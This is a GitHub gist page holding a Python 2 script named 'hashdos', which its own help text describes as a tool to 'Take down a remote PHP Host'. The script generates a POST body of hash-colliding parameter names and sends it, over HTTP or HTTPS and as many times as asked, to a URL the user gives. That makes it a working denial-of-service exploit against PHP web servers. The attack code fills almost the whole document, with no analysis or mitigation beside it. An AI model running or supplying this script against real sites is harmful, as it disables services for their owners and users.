Skip to content

Instantly share code, notes, and snippets.

@liutaihua
Created April 2, 2012 13:47
Show Gist options
  • Save liutaihua/2283525 to your computer and use it in GitHub Desktop.
Save liutaihua/2283525 to your computer and use it in GitHub Desktop.
hashdos
#-*- coding:utf8 -*-
#!/usr/bin/env python
import socket
import sys
import math
import urllib
import string
import time
import urlparse
import argparse
import ssl
def main():
parser = argparse.ArgumentParser(description="Take down a remote PHP Host", prog="PHP Hashtable Exploit")
parser.add_argument("-u", "--url", dest="url", help="Url to attack", required=True)
parser.add_argument("-w", "--wait", dest="wait", action="store_true", default=False, help="wait for Response")
parser.add_argument("-c", "--count", dest="count", type=int, default=1, help="How many requests")
parser.add_argument("-v", "--verbose", dest="verbose", action="store_true", default=False, help="Verbose output")
parser.add_argument("-f", "--file", dest="file", help="Save payload to file")
parser.add_argument("-o", "--output", dest="output", help="Save Server response to file. This name is only a pattern. HTML Extension will be appended. Implies -w")
parser.add_argument('--version', action='version', version='%(prog)s 2.0')
options = parser.parse_args()
url = urlparse.urlparse(options.url)
if not url.scheme:
print("Please provide a scheme to the URL(http://, https://,..")
sys.exit(1)
host = url.hostname
path = url.path
port = url.port
if not port:
if url.scheme == "https":
port = 443
elif url.scheme == "http":
port = 80
else:
print("Unsupported Protocol %s" % url.scheme)
sys.exit(1)
if not path:
path = "/"
print("Generating Payload...")
payload = generatePayload()
print("Payload generated")
if options.file:
f = open(options.file, 'w')
f.write(payload)
f.close()
print("Payload saved to %s" % options.file)
print("Host: %s" % host)
print("Port: %s" % str(port))
print("path: %s" % path)
print
print
for i in range(options.count):
print("sending Request #%s..." % str(i+1))
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if url.scheme == "https":
ssl_sock = ssl.wrap_socket(sock)
ssl_sock.connect((host, port))
ssl_sock.settimeout(None)
else:
sock.connect((host, port))
sock.settimeout(None)
request = """POST %s HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 ( .NET CLR 3.5.30729; .NET4.0E)
Content-Length: %s
%s
""" % (path, host, str(len(payload)), payload)
if url.scheme == "https":
ssl_sock.send(request)
else:
sock.send(request)
if options.verbose:
if len(request) > 300:
print(request[:300]+"....")
else:
print(request)
print
if options.wait or options.output:
start = time.clock()
if url.scheme == "https":
data = ssl_sock.recv(1024)
string = ""
while len(data):
string = string + data
data = ssl_sock.recv(1024)
else:
data = sock.recv(1024)
string = ""
while len(data):
string = string + data
data = sock.recv(1024)
elapsed = (time.clock() - start)
print ("Request %s finished" % str(i+1))
print ("Request %s duration: %s" % (str(i+1), elapsed))
split = string.partition("\r\n\r\n")
header = split[0]
content = split[2]
if options.verbose:
# only print http header
print
print(header)
print
if options.output:
f = open(options.output+str(i)+".html", 'w')
f.write("<!-- "+header+" -->\r\n"+content)
f.close()
if url.scheme == "https":
ssl_sock.close()
sock.close()
else:
sock.close()
def generatePayload():
# Taken from:
# https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
# Note: Default max POST Data Length in PHP is 8388608 bytes (8MB)
# entries with collisions in PHP hashtable hash function
a = {'0':'Ez', '1':'FY', '2':'G8', '3':'H'+chr(23), '4':'D'+chr(122+33)}
# how long should the payload be
length = 7
size = len(a)
post = ""
maxvaluefloat = math.pow(size,length)
maxvalueint = int(math.floor(maxvaluefloat))
for i in range (maxvalueint):
inputstring = base_convert(i, size)
result = inputstring.rjust(length, '0')
for item in a:
result = result.replace(item, a[item])
post += '' + urllib.quote(result) + '=&'
return post;
def base_convert(num, base):
fullalphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
alphabet = fullalphabet[:base]
if (num == 0):
return alphabet[0]
arr = []
base = len(alphabet)
while num:
rem = num % base
num = num // base
arr.append(alphabet[rem])
arr.reverse()
return ''.join(arr)
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment